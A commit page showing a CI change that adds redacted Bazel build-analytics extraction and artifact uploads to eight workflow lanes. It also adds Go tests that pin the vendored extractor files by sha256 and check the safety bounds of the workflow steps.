Compare commits

...
Sign in to create a new pull request.

1 commit

Author SHA1 Message Date
Julian Knutsen
8caa7899a8 ci(bazel): add CI analytics extraction to all lanes (S3)
tools/bazel/ci_analytics_extract.py turns a lane's BEP file, compact
execution log and JSON profile into a redacted ci-analytics-summary
(timing, per-mnemonic cache classes, cold actions, test results,
repo-fetch time): only validated labels, mnemonics, enums and numbers
leave the runner, never an endpoint, cert/key path, env value, token
or hostname. Every lane's "CI analytics summary" step runs the
extractor and uploads its output as ci-analytics-<lane>-<run_attempt>
(7-day retention); CHECK_RUN_ID uses the real job.check_run_id
context (requires actionlint >= 1.7.8), and both the summary and
upload steps are continue-on-error, the summary capped at
timeout-minutes: 3, and both gated on !cancelled() (not always(),
which also runs after a workflow cancellation).

The extractor, its 62-case unittest file, and testdata/ci_analytics/
(the real/* Bazel 9.2.0 fixtures, poisoned-bep.json, mismatch.bep.jsonl
and regen.sh) are vendored byte-identical from gascity's
ci/analytics-extractor slice (final squashed commit
00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac), which is canonical for this
pair the same way tools/rbe/cache-zstd-probe.sh is a byte copy.
Fixtures are regenerated under env -i with every BEP field stripped
unless it's on an explicit allowlist, and the compact exec log is
committed decompressed (*.binpb) rather than as a zstd frame, so
nothing opaque reaches version control.

scripts/ci_analytics_extract_test.go is the thin Go wrapper:
TestCIAnalyticsExtractorIsPinnedToGascity pins both vendored files'
sha256 so local drift is caught, and TestCIAnalyticsExtractUnitTests
runs gascity's unittest file in place. scripts/ci_analytics_workflow_test.go's
TestCIAnalyticsStepsAreSafeAndBounded mirrors gascity's pin test,
adapted to beads' 8 separately-named lane jobs: continue-on-error,
timeout-minutes bounds, no raw ${{ }} expression in run:, !cancelled()
required in if:, correct per-lane upload artifact name/path, and
CHECK_RUN_ID == ${{ job.check_run_id }}, for every lane.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-10-07 08:58:37 +00:00
17 changed files with 5186 additions and 13 deletions

View file

@ -785,6 +785,8 @@ jobs:
bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
echo >> "$GITHUB_STEP_SUMMARY"
@ -919,6 +921,42 @@ jobs:
path: ${{ runner.temp }}/bazel-ci-cache
key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }}
# A redacted, schema'd summary of this invocation's BEP, exec log and
# profile: timing, per-mnemonic cache classes, cold actions, test
# results, repo-fetch time. tools/bazel/ci_analytics_extract.py reads
# only a field whitelist and validates every emitted string, so this
# (unlike the raw BEP file) is safe to upload unredacted; see its
# module docstring. Mirrors gascity's ci/analytics-extractor lane step.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled() && steps.test.outcome != 'skipped'"
continue-on-error: true
timeout-minutes: 3
env:
LANE: test
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
[ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
--invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-test-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too.
@ -994,9 +1032,14 @@ jobs:
RBE_FORK_PR: ${{ github.event.pull_request.number }}
- name: Run js/wasm hook boundary
id: build-wasm
run: |
set -euo pipefail
bazel build --config=js-wasm //internal/hooks:hooks_test
bazel build --config=js-wasm //internal/hooks:hooks_test \
--profile="$RUNNER_TEMP/bazel-profile-build-wasm.json" \
--build_event_json_file="$RUNNER_TEMP/bazel-bep-build-wasm.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-wasm.log.zst" \
--experimental_build_event_upload_strategy=local
bin="$(bazel cquery --config=js-wasm --output=files //internal/hooks:hooks_test)"
cd internal/hooks
@ -1036,12 +1079,17 @@ jobs:
fi
- name: Build cmd/bd and pure-Go test binaries (--config=pure)
id: build-pure
run: >-
bazel build --config=pure
//cmd/bd:bd
//cmd/bd:bd_test
//internal/storage/embeddeddolt:embeddeddolt_test
//internal/tracker:tracker_test
--profile="$RUNNER_TEMP/bazel-profile-build-pure.json"
--build_event_json_file="$RUNNER_TEMP/bazel-bep-build-pure.json"
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-pure.log.zst"
--experimental_build_event_upload_strategy=local
# Every release target (scripts/ci/release-targets.txt) on every PR, so
# a platform-gating mistake is caught here instead of at tag time
@ -1063,28 +1111,81 @@ jobs:
# starts in the next step. -test.run=^$ runs no test (TestMain still
# runs; BEADS_TEST_SKIP=dolt keeps tracker's from starting a container).
- name: Start every pure-Go artifact (gozstd contamination check)
id: test-pure
run: |
set -euo pipefail
# Not instrumented: no BEP/exec-log/profile is captured for this
# one-off smoke invocation (design's bazel-pure invocation list
# names build-wasm, build-pure, test-pure and test-bd only).
bazel run --config=pure //cmd/bd:bd -- version
bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
//internal/storage/embeddeddolt:embeddeddolt_test \
//internal/tracker:tracker_test \
--test_sharding_strategy=disabled \
'--test_arg=-test.run=^$' \
--test_env=BEADS_TEST_SKIP=dolt
--test_env=BEADS_TEST_SKIP=dolt \
--profile="$RUNNER_TEMP/bazel-profile-test-pure.json" \
--build_event_json_file="$RUNNER_TEMP/bazel-bep-test-pure.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-pure.log.zst" \
--experimental_build_event_upload_strategy=local
# One unsharded process, like `go test -run`; the test.xml check keeps a
# selector that matches nothing from passing.
- name: Run pure-Go cmd/bd test subset (--config=pure)
id: test-bd
run: |
set -euo pipefail
bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \
--test_sharding_strategy=disabled \
"--test_arg=-test.run=$PURE_CMD_BD_TESTS"
"--test_arg=-test.run=$PURE_CMD_BD_TESTS" \
--profile="$RUNNER_TEMP/bazel-profile-test-bd.json" \
--build_event_json_file="$RUNNER_TEMP/bazel-bep-test-bd.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-bd.log.zst" \
--experimental_build_event_upload_strategy=local
n="$(grep -c '<testcase ' bazel-testlogs/cmd/bd/bd_test/test.xml || true)"
echo "pure cmd/bd subset: $n test cases"
(( n > 0 ))
# A redacted, schema'd summary of this job's four BEP-tracked
# invocations (build-wasm, build-pure, test-pure, test-bd; `bazel run
# ... -- version` above is deliberately not tracked, see its comment).
# Same contract as bazel-test's step; see its comment.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled()"
continue-on-error: true
timeout-minutes: 3
env:
LANE: pure
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
args=()
for step in build-wasm build-pure test-pure test-bd; do
bep="$RUNNER_TEMP/bazel-bep-$step.json"
[ -f "$bep" ] || continue
args+=(--invocation "$step" "$bep" "$RUNNER_TEMP/bazel-exec-$step.log.zst" "$RUNNER_TEMP/bazel-profile-$step.json")
done
[ "${#args[@]}" -gt 0 ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
"${args[@]}" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-pure-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too.
@ -1198,6 +1299,9 @@ jobs:
rc=0
bazel test //... --config=embedded ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
exit "$rc"
@ -1239,6 +1343,37 @@ jobs:
if-no-files-found: ignore
retention-days: 7
# Same redacted summary as bazel-test's; see its comment.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled() && steps.test.outcome != 'skipped'"
continue-on-error: true
timeout-minutes: 3
env:
LANE: embedded
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
[ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
--invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-embedded-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too.
@ -1341,6 +1476,9 @@ jobs:
fi
bazel test //... --config=integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
@ -1366,6 +1504,37 @@ jobs:
if-no-files-found: ignore
retention-days: 7
# Same redacted summary as bazel-test's; see its comment.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled() && steps.test.outcome != 'skipped'"
continue-on-error: true
timeout-minutes: 3
env:
LANE: integration
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
[ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
--invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-integration-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too.
@ -1431,7 +1600,12 @@ jobs:
set -o pipefail
start=$(date +%s)
rc=0
bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
exit "$rc"
@ -1447,6 +1621,37 @@ jobs:
if-no-files-found: ignore
retention-days: 7
# Same redacted summary as bazel-test's; see its comment.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled() && steps.test.outcome != 'skipped'"
continue-on-error: true
timeout-minutes: 3
env:
LANE: doltserver
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
[ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
--invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-doltserver-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too.
@ -1562,6 +1767,9 @@ jobs:
rc=0
bazel test //... --config=doltserver-proxied ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=doltserver-proxied: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
exit "$rc"
@ -1593,6 +1801,37 @@ jobs:
if-no-files-found: ignore
retention-days: 7
# Same redacted summary as bazel-test's; see its comment.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled() && steps.test.outcome != 'skipped'"
continue-on-error: true
timeout-minutes: 3
env:
LANE: proxied-server
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
[ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
--invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-proxied-server-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too.
@ -1673,6 +1912,9 @@ jobs:
rc=0
bazel test //... --config=doltserver-integration ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=doltserver-integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
exit "$rc"
@ -1715,6 +1957,37 @@ jobs:
if-no-files-found: ignore
retention-days: 7
# Same redacted summary as bazel-test's; see its comment.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled() && steps.test.outcome != 'skipped'"
continue-on-error: true
timeout-minutes: 3
env:
LANE: server-storage
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
[ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
--invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-server-storage-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too.
@ -1797,6 +2070,9 @@ jobs:
rc=0
bazel test //... --config=doltserver-cmd ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=doltserver-cmd: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
exit "$rc"
@ -1820,6 +2096,37 @@ jobs:
if-no-files-found: ignore
retention-days: 7
# Same redacted summary as bazel-test's; see its comment.
- name: CI analytics summary
id: ci-analytics
if: "!cancelled() && steps.test.outcome != 'skipped'"
continue-on-error: true
timeout-minutes: 3
env:
LANE: cmd-dolt
MODE: ${{ needs.rbe.outputs.mode }}
CHECK_RUN_ID: ${{ job.check_run_id }}
PR_HINT: ${{ github.event.pull_request.number || 0 }}
run: |
[ -f "$RUNNER_TEMP/bazel-bep.json" ] || exit 0
zstd --version || echo "::warning::zstd missing: no per-mnemonic data in this lane's summary"
python3 tools/bazel/ci_analytics_extract.py \
--lane "$LANE" --mode "$MODE" --check-run-id "$CHECK_RUN_ID" --pr-hint "$PR_HINT" \
--invocation test "$RUNNER_TEMP/bazel-bep.json" "$RUNNER_TEMP/bazel-exec.log.zst" "$RUNNER_TEMP/bazel-profile.json" \
--out "$RUNNER_TEMP/ci-analytics/ci-analytics.json"
- name: Upload CI analytics summary
if: "!cancelled() && steps.ci-analytics.outcome == 'success'"
continue-on-error: true
timeout-minutes: 2
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
overwrite: true # a job re-run is the same run: replace, not 409
name: ci-analytics-cmd-dolt-${{ github.run_attempt }}
path: ${{ runner.temp }}/ci-analytics/ci-analytics.json
retention-days: 7
if-no-files-found: ignore
# Last step: the job's result as a workflow_call output for pr.yml's
# ci-gate. always() runs it after a failure, a timeout or a
# cancellation too; job.status is the steps' status, unaffected by the

View file

@ -28,6 +28,8 @@ go_test(
"check_testing_short_test.go",
"check_winget_portable_alias_test.go",
"ci_actions_policy_test.go",
"ci_analytics_extract_test.go",
"ci_analytics_workflow_test.go",
"ci_blacksmith_runner_test.go",
"ci_capability_selector_test.go",
"ci_f7b_review_test.go",

View file

@ -0,0 +1,150 @@
package scripts_test
import (
"crypto/sha256"
"encoding/hex"
"io/fs"
"os"
"os/exec"
"path/filepath"
"sort"
"testing"
)
// ciAnalyticsExtractScript and ciAnalyticsExtractUnitTest are a byte copy of
// gascity's tools/bazel/ci_analytics_extract.py and
// tools/bazel/ci_analytics_extract_test.py (ci/analytics-extractor,
// gascity commit 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac, the final
// squashed-to-one-commit history superseding 32d51ce26a and the original
// 9104311a8a after the S2 review found the first cut's real/*-bep.json
// fixtures leaked operator env: a token, SSH IPs, the OpenBao address, the
// hostname and home paths. The fixtures are generated under env -i and
// committed with the compact exec log decompressed (*.binpb), never a
// zstd frame, so nothing opaque reaches version control), the same way
// tools/rbe/cache-zstd-probe.sh is a byte copy. gascity is canonical for
// this pair; TestCIAnalyticsExtractorIsPinnedToGascity below pins both
// files' sha256 so a local edit here is caught instead of silently
// drifting out of lockstep. The vendored test file's own 62 cases (run in
// place by TestCIAnalyticsExtractUnitTests) now include the
// mismatched-invocation-id and truncated-BEP cases beads originally added
// (test_beads_mismatch_fixture_reports_mismatch,
// test_truncated_last_line_sets_bep_truncated), so no separate Go-side
// duplicate of either remains here.
func ciAnalyticsExtractScript(root string) string {
return filepath.Join(root, "tools", "bazel", "ci_analytics_extract.py")
}
func ciAnalyticsExtractUnitTest(root string) string {
return filepath.Join(root, "tools", "bazel", "ci_analytics_extract_test.py")
}
func ciAnalyticsTestdataDir(root string) string {
return filepath.Join(root, "tools", "bazel", "testdata", "ci_analytics")
}
// ciAnalyticsExtractSHA256 and ciAnalyticsExtractUnitTestSHA256 pin the
// vendored files' content, computed from gascity's final sanitized,
// squashed-to-one-commit history at 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac.
const (
ciAnalyticsExtractSHA256 = "6bb912b17faac59a12ec53f71fbfbedfecc503037b6f5954e878d108abaae44f"
ciAnalyticsExtractUnitTestSHA256 = "e833e1c961010cd02189afaef273a261a54ccabe916b03bae3115177378a405b"
// ciAnalyticsTestdataSHA256 pins testdata/ci_analytics/** as a whole
// (regen.sh, mismatch.bep.jsonl, poisoned-bep.json and real/*): a sha256
// over every file's slash-joined relative path and bytes, each
// NUL-terminated, sorted by path (ciAnalyticsTreeSHA256 below) -
// computed the same way over gascity's 00161373bc tree and confirmed
// identical, so this one hash catches a dropped, renamed or
// individually-edited fixture that a single-file sha256 (the two
// above) can't.
ciAnalyticsTestdataSHA256 = "dc9ac595df095ef8fe1b965d0e2a8d0b0e5694c3122208891d27655bcc2285d5"
)
// ciAnalyticsTreeSHA256 hashes every regular file under dir: each entry
// contributes its dir-relative, slash-joined path, a NUL, its bytes and a
// NUL, in path-sorted order, so the result depends on the exact set of
// files present (not just their union of bytes) and is independent of the
// OS's directory-walk order.
func ciAnalyticsTreeSHA256(t *testing.T, dir string) string {
t.Helper()
var paths []string
if err := filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() {
return nil
}
rel, err := filepath.Rel(dir, path)
if err != nil {
return err
}
paths = append(paths, filepath.ToSlash(rel))
return nil
}); err != nil {
t.Fatalf("walking %s: %v", dir, err)
}
sort.Strings(paths)
h := sha256.New()
for _, rel := range paths {
raw, err := os.ReadFile(filepath.Join(dir, filepath.FromSlash(rel)))
if err != nil {
t.Fatalf("reading %s: %v", rel, err)
}
h.Write([]byte(rel))
h.Write([]byte{0})
h.Write(raw)
h.Write([]byte{0})
}
return hex.EncodeToString(h.Sum(nil))
}
// TestCIAnalyticsExtractorIsPinnedToGascity fails the moment either vendored
// file is edited locally without also updating the pin (and, ideally,
// upstreaming the change to gascity first): the design treats gascity as
// canonical for this pair, like cache-zstd-probe.sh.
func TestCIAnalyticsExtractorIsPinnedToGascity(t *testing.T) {
root := sourceRepoRoot(t)
for _, tc := range []struct {
path string
want string
}{
{ciAnalyticsExtractScript(root), ciAnalyticsExtractSHA256},
{ciAnalyticsExtractUnitTest(root), ciAnalyticsExtractUnitTestSHA256},
} {
raw, err := os.ReadFile(tc.path)
if err != nil {
t.Fatalf("reading %s: %v", tc.path, err)
}
sum := sha256.Sum256(raw)
if got := hex.EncodeToString(sum[:]); got != tc.want {
t.Errorf("%s sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+
"either this file drifted from gascity's canonical copy, or gascity changed it "+
"and this pin (and the vendored copy) needs updating to match", tc.path, got, tc.want)
}
}
testdataDir := ciAnalyticsTestdataDir(root)
if got := ciAnalyticsTreeSHA256(t, testdataDir); got != ciAnalyticsTestdataSHA256 {
t.Errorf("%s tree sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+
"a fixture under testdata/ci_analytics/ was added, removed, renamed or edited without updating this pin", testdataDir, got, ciAnalyticsTestdataSHA256)
}
}
// TestCIAnalyticsExtractUnitTests runs gascity's own 62 unittest cases
// in-place against the vendored extractor: the real Bazel 9.2.0 fixtures
// (testdata/ci_analytics/real/*, regenerated under env -i after the S2
// leak), the synthetic remote/cache-hit exec log built by the test's own
// varint encoder, the poisoned/malformed BEP and exec-log robustness cases,
// and the ported mismatched-invocation-id and truncated-BEP cases. This is
// the "thin Go wrapper" around the vendored pair.
func TestCIAnalyticsExtractUnitTests(t *testing.T) {
root := sourceRepoRoot(t)
python := requireHostTool(t, "python3")
cmd := exec.Command(python, ciAnalyticsExtractUnitTest(root), "-v")
cmd.Dir = root
out, err := cmd.CombinedOutput()
if err != nil {
t.Fatalf("ci_analytics_extract_test.py failed: %v\n%s", err, out)
}
}

View file

@ -0,0 +1,282 @@
package scripts_test
import (
"regexp"
"slices"
"strings"
"testing"
)
// ciAnalyticsLaneJobs lists bazel.yml's lane jobs that carry the "CI
// analytics summary"/"Upload CI analytics summary" steps
// (rbe-ci-bep-analytics-design.md, S3), mapped to each job's LANE env
// value. The artifact name and the LANE env are both derived from this one
// map in the checks below, instead of being pinned independently and
// allowed to drift apart.
var ciAnalyticsLaneJobs = map[string]string{
"bazel-test": "test",
"bazel-pure": "pure",
"bazel-embedded": "embedded",
"bazel-integration": "integration",
"bazel-doltserver": "doltserver",
"bazel-proxied": "proxied-server",
"bazel-server-storage": "server-storage",
"bazel-cmd-dolt": "cmd-dolt",
}
// ciAnalyticsExcludedJobs are bazel.yml jobs that deliberately do not run
// the CI analytics extractor, with the reason: mirrors
// TestBazelLaneIsGatedAlongsideLegacy's gated/advisory/flag-gated split, so
// a new job in bazel.yml can't silently go unaccounted for here either.
var ciAnalyticsExcludedJobs = map[string]string{
"rbe": "decides the execution mode; builds nothing itself, so there is no BEP/exec-log/profile to summarize",
"rbe-prewarm": "best-effort pre-warm dispatch to gascity's rbe-west pool; not a build/test lane",
"package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract",
"package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract",
}
// ciAnalyticsRunTemplateRE finds a GitHub Actions expression (${{ ... }})
